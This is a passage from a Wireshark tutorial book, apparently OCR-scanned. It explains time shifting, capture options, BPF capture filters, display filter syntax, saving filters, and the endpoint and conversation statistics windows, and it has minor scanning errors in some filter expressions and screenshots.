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Setting a packet time reference is useful only when the time display for- 
mat of a capture is set to display the time in relation to the beginning of the 
capture. Any other setting will produce no usable results and indeed will 
generate a set of times that can be very confusing. 


Time Shifting 


In some cases, you might encounter packets from multiple sources that are 
not synchronized to the same time source. This is especially common when 
examining capture files taken from two locations that contain the same 
stream of data. While most administrators desire a state in which every 
device on their network is synced, it’s not uncommon for there to be a few 
seconds of time skew between certain types of devices. Wireshark provides 
the ability to shift the timestamp on packets to alleviate this problem dur- 
ing your analysis. 


To shift the timestamp on one or more packets, select Edit > Time Shift 
or press CTRL-SHIFT-T. On the Time Shift screen that opens, you can specify 
a time range to shift the entire capture file by, or you can specify a time to 
set individual packets to. In the example shown in Figure 4-9, ’ve chosen 
to shift the timestamp of every packet in the capture by adding two minutes 
and five seconds to each packet. 



































M Wireshark - Time Shift ? x 
@ Shift all packets by | +00:02:05 EMhh: mm: }ssf-cldd] 
O Set the time for packet to 
then set packet 
and extrapolate the time for all other packets [YYYY-MM-DD] hh:mm:ss{.ddd] 
O Undo all shifts 
rL] R 








Figure 4-9: The Time Shift dialog 


Setting Capture Options 


We looked at the Capture Interfaces dialog while walking through a very 
basic packet capture in the last chapter. Wireshark offers quite a few addi- 
tional capture options that we didn’t address then. To access these options, 
choose Capture > Options. 

The Capture Interfaces dialog has a lot of bells and whistles, all 
designed to give you more flexibility while capturing packets. It’s divided 
into three tabs: Input, Output, and Options. We’ll examine each separately. 


Input Tab 


The main purpose of the Input tab (Figure 4-10) is to display all the 
interfaces available for capturing packets and some basic information for 
each interface. This includes the friendly name of the interface provided 
by the operating system, a traffic graph showing the throughput on the 
interface, and additional configuration options such as promiscuous mode 
status and buffer size. At the far right (not pictured), there is also a column 
for the applied capture filter, which we’ll talk about in “Capture Filters” on 
page 65. 

In this section, you can click most of these options and edit them inline. 
For example, if you want to disable promiscuous mode on an interface, you 
can click that field and change it from enabled to disabled via the provided 
drop-down menu. 
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M Wireshark - Capture Interfaces 


Input Output Options 





Interface Traffic 


> Bluetooth Network Connection 
> Ethernet 
> Local Area Connection* 2 
USBPcap1 
USBPcap2 








resses: fe! 
> Ethernet 2 
> Ethernet 3 





c:afdc:789d, 172.16.16.172 


Link-layer Header Promiscuous 


Ethernet 
Ethernet 
Ethernet 
USBPcap 
USBPcap 
USBPcap 
Ethernet 


Ethernet 
Ethernet 


enabled 
enabled 
enabled 
enabled 
enabled 
enabled 
enabled 


enabled 
enabled 





Enable promiscuous mode on all interfaces 





Capture Filter for selected Interfaces: | Enter a capture filter 











Figure 4-10: The Capture Interfaces Input options tab 


Output Tab 





The Output tab (Figure 4-11) allows you to automatically store captured 
packets in a file, rather than capturing them first and then saving the file. 
Doing so offers you more flexibility in managing how packets are saved. You 
can choose to save them as a single file or a file set or even use a ring buffer 
(which we’ll cover in a moment) to manage the number of files created. To 
enable this option, enter a complete file path and name in the File text box. 
Alternatively, use the Browse... button to select a directory and provide a 


filename. 





M Wireshark - Capture Interfaces 


Input Output Options 


Output format: © pcap-ng oO pcap 





Capture to a permanent file 








File: |C:/Users/Chris Sanders/Desktop/packets.pcap 








Create a new file automatically after... 
Ola 


@li [=] [minutes ~] 








f 
; 

















C Use a ring buffer with |o [$ files 














Figure 4-11: The Capture Interfaces Output options tab 


Start 





When you are capturing a large amount of traffic or performing long- 
term captures, file sets can prove particularly useful. A file setis a grouping 
of multiple files separated by a particular condition. To save to a file set, 
check the Create a new file automatically after... option. 

Wireshark uses various triggers to manage saving to file sets based upon 
a file size or time condition. To enable one of these triggers, select the radio 
button next to the size- or time-based option and then specify the value and 
unit on which to trigger. For instance, you can set a trigger that creates a new 
file after every 1MB of traffic captured or, as shown in Figure 4-12, after every 
minute of traffic captured. 





Name ` Date modified Type Size 


| intervalcapture_00001_20151009141804 
intervalcapture_00002_20151009141904 
| intervalcapture_00003_20151009142004 
|_| intervalcapture_00004_20151009142104 
i intervalcapture_00005_20151009142204 
intervalcapture_00006_20151009142304 


9/2017 2:19 PM File 172 KB 
0/9/2017 2:20 PM File 25 KB 
017 2:21 PM File 3,621 KB 
File 52 KB 
File 47 KB 
File 37 KB 




























Figure 4-12: A file set created by Wireshark at one-minute intervals 


The Use a ring buffer option lets you specify a certain number of files 
your file set will hold before Wireshark begins to overwrite files. Although 
the term ring buffer has multiple meanings, for our purposes, it is essentially 
a file set that specifies that once the last file it can hold has been written, 
when more data must be saved, the first file is overwritten. In other words, it 
establishes a first in, first out (FIFO) method of writing files. You can check 
this option and specify the maximum number of files you wish to cycle 
through. For example, say you choose to use multiple files for your capture 
with a new file created every hour, and you set your ring buffer to 6. Once 
the sixth file has been created, the ring buffer will cycle back around and 
overwrite the first file rather than create a seventh file. This ensures that no 
more than six files (or in this case, hours) of data will remain on your hard 
drive, while still allowing new data to be written. 

Lastly, the Output tab also lets you specify whether to use the .pcapng 
file format. If you plan to interact with your saved packets using a tool that 
isn’t capable of parsing .peapng, you can select the traditional .pcap format. 


Options Tab 


The Options tab contains a number of other packet-capturing choices, 
including display, name resolution, and capture termination options, 
shown in Figure 4-13. 
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Figure 4-13: The Capture Interfaces Options tab 


Display Options 


The Display Options section controls how packets are shown as they are 
being captured. The Update list of packets in real-time option is self- 
explanatory and can be paired with the Automatically scroll during live 
capture option. When both of these options are enabled, all captured 
packets are displayed on the screen, with the most recently captured 
ones shown instantly. 


When paired, the Update list of packets in real-time and Automatically scroll during 
live capture options can be processor intensive, even when you are capturing a modest 
amount of data. Unless you have a specific need to see the packets in real time, it’s 
best to deselect both options. 


The Show extra capture information dialog option lets you enable or 
suppress the display of a small window that shows the number and percent- 
age of packets that have been captured, sorted by their protocol. I like to 
show the capture info dialog since I typically don’t allow for the live scroll- 
ing of packets during capture. 


Name Resolution Settings 


The Name Resolution section options allow you to enable automatic MAC 
(layer 2), network (layer 3), and transport (layer 4) name resolution for 
your capture. We’ll discuss name resolution as a general topic in more 
depth, including its drawbacks, in Chapter 5. 


Stop Capture Settings 


The Stop capture automatically after... section lets you stop the running 
capture when certain conditions are met. As with multiple file sets, you can 
trigger the capture to stop based on file size and time interval, but you 
can also trigger on number of packets. These options can be used with 
the multiple-file options on the Output tab. 


Using Filters 


Filters allow you to specify which packets you have available for analysis. 
Simply stated, a filter is an expression that defines criteria for the inclusion 
or exclusion of packets. If there are packets you don’t want to see, you can 
write a filter that gets rid of them. If there are packets you want to see exclu- 
sively, you can write a filter that shows only those packets. 

Wireshark offers two main types of filters: 


e Capture filters are specified when packets are being captured and will 
capture only those packets that are specified for inclusion/exclusion in 
the given expression. 


e Display filters are applied to an existing set of captured packets in order 
to hide unwanted packets or show desired packets based on the speci- 
fied expression. 


Let’s look at capture filters first. 


Capture Filters 


Capture filters are applied during the packet-capturing process to limit 
the packets delivered to the analyst from the start. One primary reason for 
using a capture filter is performance. If you know that you do not need to 
analyze a particular form of traffic, you can simply filter it out with a cap- 
ture filter and save the processing power that would typically be used in 
capturing those packets. 

The ability to create custom capture filters comes in handy when you’re 
dealing with large amounts of data. The analysis can be sped up by ensur- 
ing that you are looking at only the packet relevant to the issue at hand. 

As an example, suppose you are troubleshooting an issue with a service 
running on port 262, but the server you are analyzing runs several different 
services on a variety of ports. Finding and analyzing only the traffic on one 
port would be quite a job in itself. To capture only the traffic on a specific 
port, you could use a capture filter. To do so, use the Capture Interfaces 
dialog as follows: 


1. Choose the Capture » Options button next to the interface on which you 
want to capture packets. This will open the Capture Interfaces dialog. 


2. Find the interface you wish to use and scroll to the Capture Filter 
option in the far-right column. 
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3. You can apply the capture filter by clicking in this column to enter an 
expression. We want our filter to show only traffic inbound and out- 
bound to port 262, so enter port 262, as shown in Figure 4-14. (We’ll 
discuss expressions in more detail in the next section.) The color of the 
cell should turn green, indicating that you’ve entered a valid expres- 
sion; it will turn red if the expression is invalid. 
































M Wireshark - Capture Interfaces ? x 
Input Output Options 
Interface Traffic Link-layer Header Promiscuous Snaplen (B) Buffer (MB) Capture Filter 
USBPcap1 USBPcap enabled default 2 
USBPcap2 USBPcap enabled default 2 
USBPcap3 USBPcap enabled default 2 
Local Area Connection* 2 Ethernet enabled default 2 
Ethernet 2 Ethernet enabled default 2 
Bluetooth Network Connection _————— Ethernet enabled default 2 
Ethernet Ethernet enabled default 2 
Ethernet 3 Ethernet enabled default 2 
Wi-Fi T Ethernet enabled default 2 [port 262] 
[v] Enable promiscuous mode on all interfaces 
Capture Filter for selected Interfaces: | Enter a capture filter hd Compile BPFs 
Start Close Help 











Figure 4-14: Creating a capture filter in the Capture Interfaces dialog 


4. Once you have set your filter, click Start to begin the capture. 


You should now see only port 262 traffic and be able to more efficiently 
analyze this particular data. 


Capture/BPF Syntax 


Capture filters are applied by libpcap/WinPcap and use the Berkeley Packet 
Filter (BPF) syntax. This syntax is common in several packet-sniffing applica- 
tions, mostly because packet-sniffing applications tend to rely on the libpcap/ 
WinPcap libraries, which allow for the use of BPFs. A knowledge of BPF syn- 
tax will be crucial as you dig deeper into networks at the packet level. 

A filter created using the BPF syntax is called an expression, and each 
expression consists of one or more primitives. Primitives consist of one or 
more qualifiers (as listed in Table 4-2), followed by an ID name or number, 
as shown in Figure 4-15. 


Table 4-2: The BPF Qualifiers 


Qualifier Description Examples 

Type Identifies what the ID name or number host, net, port 
refers to 

Dir Specifies a transfer direction to or from the src, dst 


ID name or number 


Proto Restricts the match to a particular protocol ether, ip, tcp, udp, http, ftp 


perator 


> Primitive 
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Qualifier 
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Figure 4-15: A sample capture filter 


Given the components of an expression, a qualifier of dst host and 
an ID of 192.168.0.10 would combine to form a primitive. This primitive 
alone is an expression that would capture traffic only with a destination 
IP address of 192.168.0.10. 

You can use logical operators to combine primitives to create more 
advanced expressions. Three logical operators are available: 


e Concatenation operator AND (88) 
e Alternation operator OR (||) 
e Negation operator NOT (!) 


For example, the following expression will capture only traffic with a 
source IP address of 192.168.0.10 and a source or destination port of 80: 





src host 192.168.0.10 && port 80 


Hostname and Addressing Filters 


Most filters you create will center on a particular network device or group- 
ing of devices. Depending on the circumstances, filtering can be based on a 
device’s MAC address, IPv4 address, IPv6 address, or DNS hostname. 

For example, say you’re curious about the traffic of a particular host 
that is interacting with a server on your network. From the server, you can 
create a filter using the host qualifier that captures all traffic associated with 
that host’s IPv4 address: 





host 172.16.16.149 





If you are on an IPv6 network, you would filter based on an IPv6 
address using the host qualifier, as shown here: 





host 2001: db8:85a3: :8a2e:370:7334 
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You can also filter based on a device’s hostname with the host qualifier, 
like so: 


host testserver2 





Or, if you’re concerned that the IP address for a host might change, 
you can filter based on its MAC address as well by adding the ether proto- 
col qualifier: 





ether host 00-1a-a0-52-e2-a0 





The transfer direction qualifiers are often used in conjunction with fil- 
ters, such as the ones in the previous examples, to capture traffic based on 
whether it’s going to or coming from a host. For example, to capture only 
traffic coming from a particular host, add the src qualifier: 





src host 172.16.16.149 





To capture only data destined for 172.16.16.149, use the dst qualifier: 





dst host 172.16.16.149 





When you don’t use a type qualifier (host, net, or port) with a primitive, 
the host qualifier is assumed. Therefore, this expression, which excludes 
that qualifier, is the equivalent of the preceding example: 





dst 172.16.16.149 





Port Filters 


In addition to filtering on hosts, you can filter based on the ports used in 
each packet. Port filtering can be used to filter for services and applications 
that use known service ports. For example, here’s a simple filter to capture 
traffic only to or from port 8080: 


port 8080 


To capture all traffic except that on port 8080, this would work: 





lport 8080 





The port filters can be combined with transfer direction qualifiers. For 
example, to capture only traffic going to the web server listening on the 
standard HTTP port 80, use the dst qualifier: 





dst port 80 





Protocol Filters 


Protocol filters let you filter packets based on certain protocols. They are 
used to match non—application layer protocols that can’t simply be defined 
by the use of a certain port. Thus, if you want to see only ICMP traffic, you 
could use this filter: 





icmp 





To see everything but IPv6 traffic, this will do the trick: 





!ip6 





Protocol Field Filters 


One of the real strengths of the BPF syntax is the ability that it gives us to 
examine every byte of a protocol header in order to create very specific 
filters based on that data. The advanced filters that we’ll discuss in this 
section will allow you to retrieve a specific number of bytes from a packet 
beginning at a particular location. 

For example, suppose that we want to filter based on the type field of 
an ICMP header. The type field is located at the very beginning of a packet, 
which puts it at offset 0. To identify the location to examine within a packet, 
specify the byte offset in square brackets next to the protocol qualifier— 
icmp[0] in this example. This specification will return a l-byte integer value 
that we can compare against. For instance, to get only ICMP packets that 
represent destination unreachable (type 3) messages, we use the equal to 
operator in our filter expression: 





icmp[0] == 





To examine only ICMP packets that represent an echo request (type 8) 
or echo reply (type 0), use two primitives with the OR operator: 





icmp[0] == 8 || icmp[o] == 





These filters work great, but they filter based on only 1 byte of informa- 
tion within a packet header. You can also specify the length of the data to 
be returned in your filter expression by appending the byte length after the 
offset number within the square brackets, separated by a colon. 

For example, say we want to create a filter that captures all ICMP 
destination-unreachable, host-unreachable packets, identified by type 3, 
code 1. These are 1-byte fields, located next to each other at offset 0 of 
the packet header. To do this, we create a filter that checks 2 bytes of data 
beginning at offset 0 of the packet header, and we compare that data 
against the hex value 0301 (type 3, code 1), like this: 





icmp[0:2] == 0x0301 
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A common scenario is to capture only TCP packets with the RST flag 
set. We will cover TCP extensively in Chapter 8. For now, you just need to 
know that the flags of a TCP packet are located at offset 13. This is an inter- 
esting field because it is collectively 1 byte in size as the flags field, but each 
particular flag is identified by a single bit within this byte. As I will discuss 
further in Appendix B, each bit in a byte represents some base 2 number. 
The bit the flag is stored in is specified by the number the bit represents, so 
the first bit would represent 1, the second 2, the third 4, and so on. Multiple 
flags can be set simultaneously in a TCP packet. Therefore, we can’t effi- 
ciently filter by using a single tcp[13] value because several values may repre- 
sent the RST bit being set. 

Instead, we must specify the location within the byte that we wish to 
examine by appending a single ampersand (&), followed by the number that 
represents where the flag is stored. The RST flag is at the bit representing 
the number 4 within this byte, and the fact that this bit is set to 4 tells us 
that the RST flag is set. The filter looks like this: 





tcp[13] & 4 == 





To see all packets with the PSH flag set, which is identified by the bit 
location representing the number 8 in the TCP flags at offset 13, our filter 
would use that location instead: 





tcp[13] & 8 == 





Sample Capture Filter Expressions 


You will often find that the success or failure of your analysis depends on 
your ability to create filters appropriate for your current situation. Table 4-3 
shows a few common capture filters that you might use frequently. 


Table 4-3: Commonly Used Capture Filters 


Filter Description 

tcp[13] & 32 == 32 TCP packets with the URG flag set 
tcp[13] & 16 == 16 TCP packets with the ACK flag set 
tcp[13] & 8 == 8 TCP packets with the PSH flag set 
tcp[13] & 4 == 4 TCP packets with the RST flag set 

tcp[13] & 2 == 2 TCP packets with the SYN flag set 
tcp[13] & 1 == TCP packets with the FIN flag set 

tcp[13] == 18 TCP SYN-ACK packets 


ether host 00:00:00:00:00:00 
'ether host 00:00:00:00:00:00 
broadcast 


icmp 


Traffic to or from your MAC address 
Traffic not to or from your MAC address 
Broadcast traffic only 

ICMP traffic 


Filter Description 


icmp[0:2] == 0x0301 ICMP destination unreachable, host unreachable 
ip IPv4 traffic only 
ip6 IPv6 traffic only 
udp UDP traffic only 
Display Filters 


A display filter is one that, when applied to a capture file, tells Wireshark to 
display only packets that match that filter. You can enter a display filter in 
the Filter text box above the Packet List pane. 

Display filters are used more often than capture filters because they 
allow you to filter the packet data you see without actually omitting the rest 
of the data in the capture file. That way, if you need to revert to the original 
capture, you can simply clear the filter expression. They are also a lot more 
powerful thanks to Wireshark’s extensive library of packet dissectors. 

As an example, in some situations, you might use a display filter to 
clear irrelevant broadcast traffic from a capture file by filtering out ARP 
broadcasts from the Packet List pane when those packets don’t relate to 
the current problem being analyzed. However, because those ARP broad- 
cast packets may be useful later, it’s better to filter them temporarily than 
it is to delete them. 

To filter out all ARP packets in the capture window, place your cursor 
in the Filter text box at the top of the Packet List pane and enter !arp to 
remove all ARP packets from the list (Figure 4-16). To remove the filter, 
click the X button, and to save the filter for later, click the plus (+) button. 





M http_google.pcap = o x 
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help 

Amio Recess? shibaaak 

(A | tarp AE ~] Expression... + 














Figure 4-16: Creating a display filter using the Filter text box above the Packet List pane 


There are two ways to apply display filters. One is to apply them directly 
using the appropriate syntax, as we did in this example. Another is to use 
the Display Filter Expression dialog to build your filter iteratively; this is the 
easier method when you are first starting to use filters. Let’s explore both 
methods, starting with the easier first. 


The Display Filter Expression Dialog 


The Display Filter Expression dialog, shown in Figure 4-17, makes it easy for 
novice Wireshark users to create capture and display filters. To access this 
dialog, click the Expression button on the Filter toolbar. 
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M Wireshark - Display Filter Expression 





Field Name Relation 

Vv IPv4. Internet Protocol Version 4 is present 
ip.addr - Source or Destination Address == 
ip.bogus_ip_length - Expert Info I= 
ip.bogus_ip_version - Expert Info > 
ip.checksum » Header checksum < 
ip.checksum_bad - Bad >= 
ip.checksum_bad.expert - Expert Info <= 
ip.checksum_calculated + Calculated Check... contains 
ip.checksum_good - Good matches 
ip.cipso.categories - Categories 
ip.cipso.doi - DO! 








ip.cipso.malformed - Expert Info 
ip.cipso.sensitivity_level - Sensitivity Level 
ip.cipso.tag_data - Tag data 

ip.cipso.tag_type - Tag Type 

ip.cur_rt » Current Route 

ip.cur_rt_host » Current Route Host 

ip.dsfield - Differentiated Services Field 
ip.dsfield.dscp - Differentiated Services Cod... 
ip.dsfield.ecn - Explicit Congestion Notifica... 
ip.dst - Destination 

ip.dst_host - Destination Host 

ip.empty_rt - Empty Route V | Range (offset:length) 


Search: |IP 


Value (Character string) 
192. 168.1.1 








Predefined Values 
































ip.dst_host == "192.168. 1.1" 
Click OK to insert this filter 








Hep 





Figure 4-17: The Display Filter Expression dialog allows for the easy creation of 
filters in Wireshark. 


The left side of the dialog lists all possible protocol fields, and these 


fields specify all possible filter criteria. To create a filter, follow these steps: 


1. 


To view the criteria fields associated with a protocol, expand that proto- 
col by clicking the arrow symbol next to it. Once you find the criterion 
you want to base your filter on, click to select it. 


2. Choose how your selected field will relate to the criterion value you 


supply. This relation is specified as equal to, greater than, less than, 
and so on. 


3. Create your filter expression by specifying a criterion value that will 


relate to your selected field. You can define this value or select it from 
predefined ones programmed into Wireshark. 


Your complete filter will be displayed at the bottom of the screen. When 
you've finished, click OK to insert it into the filter bar. 


The Display Filter Expression dialog is great for novice users, but once 


you get the hang of things, you'll find that manually entering filter expres- 
sions greatly increases your efficiency. The display filter expression syntax 
structure is simple, yet extremely powerful. 


The Filter Expression Syntax Structure 


When you begin using Wireshark more, you will want to start using the 
display filter syntax directly in the main window to save time. Fortunately, 
the syntax used for display filters follows a standard scheme and is easy to 
navigate. In most cases, this scheme is protocol-centric and follows the for- 
mat protocol. feature.subfeature, as you saw when looking at the Display Filter 
Expression dialog. Now we will look at a few examples. 

You will most often use a capture or display filter to see packets based 
on a specific protocol alone. For example, say you are troubleshooting a 
TCP problem and you want to see only TCP traffic in a capture file. If so, 

a simple tcp filter will do the job. 

Now let’s look at things from the other side of the fence. Imagine that 
in the course of troubleshooting your TCP problem, you have used the ping 
utility quite a bit, thereby generating a lot of ICMP traffic. You could remove 
this ICMP traffic from your capture file with the filter expression ! icmp. 

Comparison operators allow you to compare values. For example, when 
troubleshooting TCP/IP networks, you will often need to view all packets 
that reference a particular IP address. The equal to comparison operator 
(==) will allow you to create a filter showing all packets with an IP address 
of 192.168.0.1: 





ip.addr==192.168.0.1 





Now suppose that you need to view only packets that are less than 
128 bytes. You can use the less than or equal to operator (<=) to accom- 
plish this goal: 





frame. len<=128 





Table 4-4 shows Wireshark’s comparison operators. 


Table 4-4: Wireshark Filter Expression Comparison Operators 


Operator Description 

== Equal to 

l= Not equal to 

> Greater than 

< Less than 

>= Greater than or equal to 
<= Less than or equal to 


Logical operators allow you to combine multiple filter expressions into 
one statement, dramatically increasing the effectiveness of your filters. 
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For example, say that you're interested in displaying only packets to two IP 
addresses. You can use the or operator to create one expression that will dis- 
play packets containing either IP address, like this: 


ip.addr==192.168.0.1 or ip.addr==192.168.0.2 





Table 4-5 lists Wireshark’s logical operators. 


Table 4-5: Wireshark Filter Expression Logical Operators 


Operator Description 

and Both conditions must be true. 

or Either one of the conditions must be true. 
xor One and only one condition must be true. 
not Neither one of the conditions is true. 


Sample Display Filter Expressions 


Although the concepts related to creating filter expressions are fairly 
simple, you will need to use several specific keywords and operators when 
creating new filters for various problems. Table 4-6 shows some of the dis- 
play filters that I use most often. For a complete list, see the Wireshark 
display filter reference at http://www.wireshark.org/docs/dfref/. 


Table 4-6: Commonly Used Display Filters 


Filter Description 

Itcp.port==3389 Filter out RDP traffic 
tcp.flags.syn==1 TCP packets with the SYN flag set 
tcp. flags.reset==1 TCP packets with the RST flag set 
larp Clear ARP traffic 

http All HTTP traffic 

tcp.port==23 || tcp.port==21 Telnet or FTP traffic 

smtp || pop || imap Email traffic (SMTP, POP, or IMAP) 
Saving Filters 


Once you begin creating a lot of capture and display filters, you will find 
that you use certain ones frequently. Fortunately, you don’t need to type 
these in each time you want to use them, because Wireshark lets you save 
your filters for later use. To save a custom capture filter, follow these steps: 


l. Select Capture > Capture Filters to open the Capture Filter dialog. 


2. Create a new filter by clicking the plus (+) button on the lower left side 
of the dialog. 
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3. Enter a name for your filter in the Filter Name box. 
Enter the actual filter expression in the Filter String box. 


5. Click the OK button to save your filter expression in the list. 
To save a custom display filter, follow these steps: 


1. Type your filter into the Filter bar above the Packet List pane in the 
main window and click the ribbon button on the left side of the bar. 


2. Click the Save this Filter option, and a list of saved display filters will be 
presented in a separate dialog. There you can provide a name for your 
filter before clicking OK to save it (Figure 4-18). 























@ Wireshark - Display Filters ? x 
Name Filter 
Ethernet address 00:00:5e:00:53:00 eth.addr == 00:00:5e:00:53:00 
Ethernet type 0x0806 (ARP) eth.type == 0x0806 
Ethernet broadcast eth.addr == ff:ff:ff:ff:ff:ff 
No ARP not arp 
IPv4 only ip 
IPv4 address 192.0.2.1 ip.addr == 192.0.2.1 
IPv4 address isn't 192.0.2.1 (don't use != for this!) !(ip.addr == 192.0.2.1) 
IPv6 only ipv6 
IPv6 address 2001:db8::1 ipv6.addr == 2001:db8::1 
IPX only ipx 
TCP only tcp 
UDP only udp 
Non-DNS \(udp.port == 53 || tcp.port == 53) 
TCP or UDP port is 80 (HTTP) tcp.port == 80 || udp.port == 80 
HTTP http 
No ARP and no DNS not arp and !(udp.port == 53) 
Non-HTTP and non-SMTP to/from 192.0.2.1 ip.addr == 192.0.2.1 and not tcp.port in {80 25} 
DNS Server ipaddr==1.2.3.4] 
a) lice pon 
[ox] | cance Hep 








Figure 4-18: You can save display filters directly from the main toolbar. 


Adding Display Filters to a Toolbar 


Ifyou have filters that you find yourself flipping on and off frequently, one of 
the easiest ways to interact with them is to add filter toggles to the Filter bar 
just above the Packet List pane. To do this, complete the following steps: 


1. Type your filter into the Filter bar above the Packet List pane in the 
main window and click the plus (+) button on the right side of the bar. 

2. Anew bar will display below the Filter bar where you can provide a 
name for your filter in the Label field (Figure 4-19). This is the label 
that will be used to represent the filter on the toolbar. Once you’ve 
input something in this field, click OK to create a shortcut to this 
expression in the Filter toolbar. 
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Filter: tcp.flags.reset == 1 





Filter Expression Preferences... 


Figure 4-19: Adding a filter expression shortcut to the Filter toolbar 


As you can see in Figure 4-20, we’ve created a shortcut to a filter that 
will quickly show any TCP packets with the RST flag enabled. Additions to 
the filtering toolbar are saved to your configuration profile (as discussed in 
Chapter 3), making them a powerful way to enhance your ability to identify 
problems in packet captures in various scenarios. 
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No. Time Source Destination Protocol Length Info 





. 192.168.100.1 192.168.100.138 


Figure 4-20: Filtering using a toolbar shortcut 


Wireshark includes several built-in filters that are great examples of 
what a filter should look like. You’ll want to use them (together with the 
Wireshark help pages) when creating your own filters. We’ll use filters in 
examples throughout this book. 
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ADVANCED WIRESHARK FEATURES 


Once you master the basics of Wireshark, 

the next step is to delve into its analysis 
and graphing capabilities. In this chapter, 
we'll look at some of these powerful features, 





including the Endpoints and Conversations windows, 
the finer points of name resolution, protocol dissec- 
tion, stream interpretation, IO graphing, and more. 


These features, which are unique to Wireshark as a graphical analysis tool, 
are useful at multiple stages in the analysis process. Make sure to at least 
attempt to use all the features listed here before moving on, because we’ll 
revisit them frequently as we look at practical analysis scenarios throughout 
the rest of the book. 


lotsofweb. pcapng 
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For network communication to take place, data must be flowing between 
at least two devices. Each device sending or receiving data on the network 
represents what Wireshark calls an endpoint. The communication between 
two endpoints is called a conversation. Wireshark describes endpoints and 
conversations based on the attributes of the communication, specifically in 
terms of the addresses used within various protocols. 

Endpoints are identified by multiple addresses, which are assigned at 
different layers of the OSI model. For example, at the data link layer, an 
endpoint will have a MAC address, which is a unique address built into 
the device (although it can be modified, potentially making it no longer 
required). At the network layer, however, the endpoint will have an IP 
address, which can be changed at any point. We’ll discuss in the next few 
chapters how these types of addresses are used. 

Figure 5-1 shows two examples of how addresses are used to iden- 
tify endpoints in conversations. Conversation A in the figure consists of 
two endpoints communicating at the data link (MAC) layer. Endpoint A 
has a MAC address of 00:ff:ac:ce:0b:de, and Endpoint B has a MAC address 
of 00:ff:ac:e0:dc:0f. Conversation B is defined by two devices communicat- 
ing at the network (IP) layer. Endpoint A has an IP address of 192.168.1.25, 
and Endpoint B has an address of 192.168.1.30. 
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192.168.1.25 192.168.1.30 


Figure 5-1: Endpoints and conversations on a network 


Let’s look at how Wireshark can provide information about network 
communication on a per endpoint or conversation basis. 


Viewing Endpoint Statistics 


When analyzing traffic, you may find that you can pinpoint a problem 

as being at a specific endpoint on a network. For example, open the 
capture file lotsofweb.pcapng and open Wireshark’s Endpoints window 
(Statistics >» Endpoints). This window shows several helpful statistics for 
each endpoint, as shown in Figure 5-2, including the address, number of 
packets, and bytes transmitted and received. 


lotsofweb. pcapng 

















M Wireshark . Endpoints - lotsofweb - oO x 
TCP * 358 Ethernet - 12 IPv4:95 IPv6 "5 UDP > 106 
Address Packets Bytes Packets A—B BytesA—B PacketsB-A BytesB-—A Latitude Longitude ^ 
0.0.0.0 1 342 1 342 0 0- 
4.2.2.1 103 11k 51 7275 52 4151 - 
4.2.2.2 2 261 1 174 1 87 - 
4.23.40.126 451 318k 234 291 k 217 26k - 
8.18.91.65 9 1241 3 387 6 854 - 
8.18.95.169 18 3328 7 1321 11 2007 
12.120.63.24 13 4753 6 3737 7 1016 
12.129.199.110 20 5383 8 3332 12 2051 - 
63.215.202.16 7 2069 2 724 5 1345 
64.4.22.46 16 10k 10 9347 6 1241 
64.191.203.30 18 7061 6 2943 12 4118 
64.208.21.17 10 2781 5 1295 5 1486 - 
64.208.21.43 551 357k 309 280 k 242 77k - 
65.173.218.96 473 331k 263 305k 210 25k - 
66.35.45,201 1,106 807k 596 702 k 510 104k - 
66.227.17.18 56 12k 28 8577 28 3990 - 
66.235.142.3 10 2285 4 853 6 1432 - 
66.235.143.54 16 5217 7 1573 9 3644 - - 
66.235.143.121 10 3234 5 1490 5 1744 - - 
67.192.232.82 15 _8056 7 6456 8 1600 - - v 
C Name resolution [C] Limit to display filter 
Copy Y Map Close Help 








Figure 5-2: The Endpoints window lets you view each endpoint in a capture file. 


The tabs at the top of the window (TCP, Ethernet, IPv4, IPv6, and UDP) 
show the number of endpoints organized by protocol. To display only end- 
points for a specific protocol, click one of these tabs. You can add additional 
protocol-filtering tabs by clicking the Endpoint Types box at the bottom 
right of the screen and selecting the protocol to add. If you would like to 
use name resolution to view endpoint addresses (see “Name Resolution” 
on page 84), check the Name resolution checkbox. If you’re dealing with 
a large capture and want to filter the endpoints displayed, you can apply a 
display filter in the main Wireshark window and select the Limit to display 
filter option in the Endpoints window. This option will make the window 
show only the endpoints matching the display filter. 

Another handy feature of the Endpoints window is the ability to filter 
out specific packets for display in the Packet List pane. This is a quick way 
to drill down into the packets of an individual endpoint. Right-click an end- 
point to select the available filtering options. The dialog that appears will 
let you show or exclude packets related to the selected input. You can also 
choose the Colorize option in this dialog to export the endpoint address 
directly into a colorization rule (coloring rules are discussed in Chapter 4). 
In this way, you can quickly highlight packets related to a given endpoint so 
you can spot them quickly during analysis. 


Viewing Network Conversations 


With lotsofweb.pcapng still open, access the Wireshark Conversations window 
Statistics > Conversations (Figure 5-3) to display all the conversations in 
the capture file. The Conversations window is similar to the Endpoints 
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window, but the Conversations window shows two addresses per line to 
represent a conversation, as well as the packets and bytes transmitted to 
and from each device. The column Address A is the origin endpoint, and 
Address Bis the destination. 



































M \ireshark Conversations - lotsofweb pa o x 
Ethernet « 13 IPv4' 103 IPv6-4 TCP+279 UDP * 93 
Address A Address B Packets Bytes PacketsA—-B BytesA—-B PacketsB-A BytesB—A Rel Start Duration Bits/sA—B Bits/sB-A ^ 
0.0.0.0 255.255.255.255 1 342 1 342 0 0 82.137333000 0.000000 N/A N/A 
4.2.2.1 172.16.16.128 16 2101 8 1433 8 668 3.009402000 36.237044 316 147 
4.2.2.1 172.16.16.197 61 6699 30 4206 31 2493 16.331275000 58.485202 575 341 
4.2.2.1 172.16.16.136 26 2626 13 1636 13 990 27.106391000 33.836085 386 234 
4.2.2.2 172.16.16.197 2 261 1 174 1 87 23.098007000 0.023047 60k 30k 
4,23.40.126 172.16.16.197 451 318k 234 291k 217 26 k 73.085870000 13.245934 176k 16k 
8.18.91.65 172.16.16.128 9 1241 3 387 6 854 3.243355000 63.289076 48 107 
8.18.95.169 172.16.16.197 18 3328 7 1321 11 2007 17.862227000 56.918573 185 282 
12.120.63.24 172.16.16.128 13 4753 6 3737 7 1016 8.836392000 69.578042 429 116 
12.129.199.110 172.16.16.197 20 5383 8 3332 12 2051 74.806613000 11.541974 2309 1421 
63.215.202.16 172.16.16.128 7 2069 2 724 5 1345 6.684163000 61.630220 93 174 
64.4.22.46 172.16.16.128 16 10k 10 9347 6 1241 6.681906000 12.392572 6033 801 
64.191.203.30 172.16.16.136 18 7061 6 2943 12 4118 60.393104000 3.054116 7708 10k 
64.208.21.17 172.16.16.128 10 2781 5 1295 5 1486 8.800115000 0.232560 44k 51k 
